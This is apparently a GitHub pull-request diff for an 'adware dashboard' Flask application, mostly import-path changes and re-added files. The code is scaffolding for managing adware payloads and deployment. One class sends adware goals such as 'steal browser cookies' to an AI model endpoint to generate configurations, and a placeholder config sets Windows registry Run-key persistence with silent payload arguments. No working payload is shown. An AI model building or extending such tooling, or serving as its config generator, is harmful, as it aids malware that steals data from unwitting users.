Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
14 changes: 7 additions & 7 deletions src/adware_dashboard/api/routes.py
Original file line number Diff line number Diff line change
@@ -1,12 +1,12 @@
import logging
from flask import Flask, request, jsonify
from adware_dashboard.core.adware_manager import AdwareManager
from adware_dashboard.core.payload_manager import PayloadManager
from adware_dashboard.core.deployment_manager import DeploymentManager
from adware_dashboard.core.ai_integration import AIIntegration
from adware_dashboard.models import Adware, Payload, DeploymentMethod
from adware_dashboard.api.serializers import AdwareSerializer, PayloadSerializer, DeploymentMethodSerializer
from adware_dashboard.api.utils import validate_input
from src.adware_manager import AdwareManager
from src.adware_dashboard.core.payload_manager import PayloadManager
from src.adware_dashboard.core.deployment_manager import DeploymentManager
from src.adware_dashboard.core.ai_integration import AIIntegration
from src.adware_dashboard.models import Adware, Payload, DeploymentMethod
from src.adware_dashboard.api.serializers import AdwareSerializer, PayloadSerializer, DeploymentMethodSerializer
from src.adware_dashboard.api.utils import validate_input

def create_api_app(logger: logging.Logger, adware_manager: AdwareManager, payload_manager: PayloadManager, deployment_manager: DeploymentManager, ai_integration: AIIntegration) -> Flask:
"""
Expand Down
68 changes: 34 additions & 34 deletions src/adware_dashboard/api/utils.py
Original file line number Diff line number Diff line change
@@ -1,34 +1,34 @@
from functools import wraps
from flask import request, jsonify
from typing import Callable, Type
from marshmallow import Schema, ValidationError

def validate_input(serializer: Type[Schema], partial: bool = False) -> Callable:
"""
Validates the input data using a Marshmallow serializer.
Args:
serializer (Type[Schema]): The Marshmallow serializer to use.
partial (bool, optional): Whether to allow partial updates. Defaults to False.
Returns:
Callable: The decorated function.
"""
def decorator(func):
@wraps(func)
def wrapper(*args, **kwargs):
try:
data = request.get_json()
if not data:
return jsonify({'error': 'No input data provided'}), 400
deserialized_data = serializer.deserialize(data)
if partial:
deserialized_data = {k: v for k, v in deserialized_data.items() if v is not None}
request.deserialized_data = deserialized_data
return func(*args, **kwargs)
except ValidationError as e:
return jsonify({'error': str(e)}), 400
except Exception as e:
return jsonify({'error': 'Invalid input data'}), 400
return wrapper
return decorator
from functools import wraps
from flask import request, jsonify
from typing import Callable, Type
from marshmallow import Schema, ValidationError

def validate_input(serializer: Type[Schema], partial: bool = False) -> Callable:
"""
Validates the input data using a Marshmallow serializer.
Args:
serializer (Type[Schema]): The Marshmallow serializer to use.
partial (bool, optional): Whether to allow partial updates. Defaults to False.
Returns:
Callable: The decorated function.
"""
def decorator(func):
@wraps(func)
def wrapper(*args, **kwargs):
try:
data = request.get_json()
if not data:
return jsonify({'error': 'No input data provided'}), 400
deserialized_data = serializer.deserialize(data)
if partial:
deserialized_data = {k: v for k, v in deserialized_data.items() if v is not None}
request.deserialized_data = deserialized_data
return func(*args, **kwargs)
except ValidationError as e:
return jsonify({'error': str(e)}), 400
except Exception as e:
return jsonify({'error': 'Invalid input data'}), 400
return wrapper
return decorator
146 changes: 73 additions & 73 deletions src/adware_dashboard/core/ai_integration.py
Original file line number Diff line number Diff line change
@@ -1,73 +1,73 @@
import logging
from typing import Dict, Any
import json
import requests

class AIIntegration:
def __init__(self, logger: logging.Logger, ai_model_endpoint: str = None):
"""
Initializes the AIIntegration with a logger and an optional AI model endpoint.
Args:
logger (logging.Logger): The logger instance to use.
ai_model_endpoint (str, optional): The endpoint of the AI model. Defaults to None.
"""
self.logger = logger
self.ai_model_endpoint = ai_model_endpoint

def generate_adware_config(self, goal: str, constraints: Dict[str, Any] = None) -> Dict[str, Any]:
"""
Generates an adware configuration using the AI model.
Args:
goal (str): The high-level goal for the adware (e.g., "steal browser cookies").
constraints (Dict[str, Any], optional): Additional constraints for the AI model. Defaults to None.
Returns:
Dict[str, Any]: The generated adware configuration.
"""
if not self.ai_model_endpoint:
self.logger.error("AI model endpoint is not configured.")
raise ValueError("AI model endpoint is not configured.")

try:
payload = {
"goal": goal,
"constraints": constraints if constraints else {}
}
response = requests.post(self.ai_model_endpoint, json=payload)
response.raise_for_status()
config = response.json()
self.logger.info(f"AI generated adware config: {config}")
return config
except requests.RequestException as e:
self.logger.error(f"Error communicating with AI model: {str(e)}")
raise ValueError(f"Error communicating with AI model: {str(e)}")
except json.JSONDecodeError as e:
self.logger.error(f"Error decoding AI model response: {str(e)}")
raise ValueError(f"Error decoding AI model response: {str(e)}")

def _call_local_model(self, goal: str, constraints: Dict[str, Any] = None) -> Dict[str, Any]:
"""
Placeholder for calling a local AI model.
Args:
goal (str): The high-level goal for the adware.
constraints (Dict[str, Any], optional): Additional constraints for the AI model. Defaults to None.
Returns:
Dict[str, Any]: The generated adware configuration.
"""
# This is a placeholder. Replace with actual logic to call a local AI model.
# For example, you might load a pre-trained model and use it to generate the config.
self.logger.warning("Using placeholder for local AI model. Implement actual logic here.")
return {
"target_os": "windows",
"persistence_method": "registry",
"payload_id": 1,
"deployment_method_id": 1,
"config": {
"registry_key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
"payload_args": ["--silent"]
}
}
import logging
from typing import Dict, Any
import json
import requests

class AIIntegration:
def __init__(self, logger: logging.Logger, ai_model_endpoint: str = None):
"""
Initializes the AIIntegration with a logger and an optional AI model endpoint.
Args:
logger (logging.Logger): The logger instance to use.
ai_model_endpoint (str, optional): The endpoint of the AI model. Defaults to None.
"""
self.logger = logger
self.ai_model_endpoint = ai_model_endpoint

def generate_adware_config(self, goal: str, constraints: Dict[str, Any] = None) -> Dict[str, Any]:
"""
Generates an adware configuration using the AI model.
Args:
goal (str): The high-level goal for the adware (e.g., "steal browser cookies").
constraints (Dict[str, Any], optional): Additional constraints for the AI model. Defaults to None.
Returns:
Dict[str, Any]: The generated adware configuration.
"""
if not self.ai_model_endpoint:
self.logger.error("AI model endpoint is not configured.")
raise ValueError("AI model endpoint is not configured.")

try:
payload = {
"goal": goal,
"constraints": constraints if constraints else {}
}
response = requests.post(self.ai_model_endpoint, json=payload)
response.raise_for_status()
config = response.json()
self.logger.info(f"AI generated adware config: {config}")
return config
except requests.RequestException as e:
self.logger.error(f"Error communicating with AI model: {str(e)}")
raise ValueError(f"Error communicating with AI model: {str(e)}")
except json.JSONDecodeError as e:
self.logger.error(f"Error decoding AI model response: {str(e)}")
raise ValueError(f"Error decoding AI model response: {str(e)}")

def _call_local_model(self, goal: str, constraints: Dict[str, Any] = None) -> Dict[str, Any]:
"""
Placeholder for calling a local AI model.
Args:
goal (str): The high-level goal for the adware.
constraints (Dict[str, Any], optional): Additional constraints for the AI model. Defaults to None.
Returns:
Dict[str, Any]: The generated adware configuration.
"""
# This is a placeholder. Replace with actual logic to call a local AI model.
# For example, you might load a pre-trained model and use it to generate the config.
self.logger.warning("Using placeholder for local AI model. Implement actual logic here.")
return {
"target_os": "windows",
"persistence_method": "registry",
"payload_id": 1,
"deployment_method_id": 1,
"config": {
"registry_key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
"payload_args": ["--silent"]
}
}
2 changes: 1 addition & 1 deletion src/adware_dashboard/core/deployment_manager.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
import logging
from typing import List, Dict, Any
from adware_dashboard.models import DeploymentMethod, Payload
from src.adware_manager import DeploymentMethod, Payload

class DeploymentManager:
def __init__(self, logger: logging.Logger):
Expand Down
Loading
Loading